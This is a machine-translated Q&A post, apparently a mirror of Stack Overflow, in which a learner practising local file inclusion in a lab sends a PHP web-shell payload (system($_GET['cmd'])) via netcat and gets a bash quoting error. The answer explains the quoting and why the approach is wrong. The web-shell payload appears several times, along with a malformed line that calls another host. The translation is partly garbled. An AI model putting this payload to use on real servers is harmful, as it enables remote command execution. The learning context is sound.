BASH语法错误nc -vvv 192.168.190.130 80 GET / <!-?php system($ _ GET ['cmd']);?-> bash:意外令牌'('附近的语法错误

时间:2018-12-10 18:22:59

标签: bash security remote-file-inclusion

这是我为练习LFI而生成的请求。

nc -vvv 192.168.190.130 80 GET /<?php system($_GET['cmd']);?>

这是我得到的错误:

  

bash:意外令牌'('

附近的语法错误

当前使用的是UBUNTU 18.04。

1 个答案:

答案 0 :(得分:1)

1)如果参数中包含由bash解释为特殊字符的字符,则需要在命令中加上引号。最好使用单引号将字符串转义,否则可以使用反斜杠转义单个字符。提防嵌套相同类型的引号。

所以:

nc -vvv 192.168.190.130 80 'GET /<?php system($_GET["cmd"]);?>'

2)LFI不能那样工作。 PHP代码必须位于您要获取的文件的主体中,而不是文件名中。没有为<?php ... ?>标记解析文件名。

因此,这将仅要求服务器从网站的根文件夹中给它一个文件名为<的文件,并加上?将被解析为某些参数的开头。

3)即使以某种方式检测到并运行了PHP代码作为文件名的一部分,$ _ GET [“ cmd”]仍是什么?您没有将它作为GET参数传递!

4)如果这不是您正在运行的东西,而是您正在Web服务器上调用的PHP脚本的内容,那么在这种情况下,您将尝试执行某种远程代码执行。 ..然后,您将已指定为GET参数的脚本的输出(不要这样做,这是非常不安全的)传递到通过系统调用从另一台服务器获取到netcat的路径中。在这种情况下,为什么不做类似的事情:

 <?php file_get_contents('http://192.168.190.138/system($_GET["cmd"])); ?>

...而不是呼叫netcat?


总体而言,恐怕这就像有人试图将他们在互联网上找到的两三件事融合在一起,却不了解它们中的任何一个是如何工作的。

但是理解它们的方法是完全按照您的方式做:阅读文档,使用命令,每当您遇到错误时,提出问题并深入挖掘,找出问题出在哪里。

目前,您所拥有的是完全错误的。错误的层次太多,无法深入解决它,我只涉及其中一些。老实说,我什至无法弄清楚您要是什么。

但是没关系,只要您在遇到错误时了解每个错误级别。不幸的是,这就是我们所有人学习的方式:D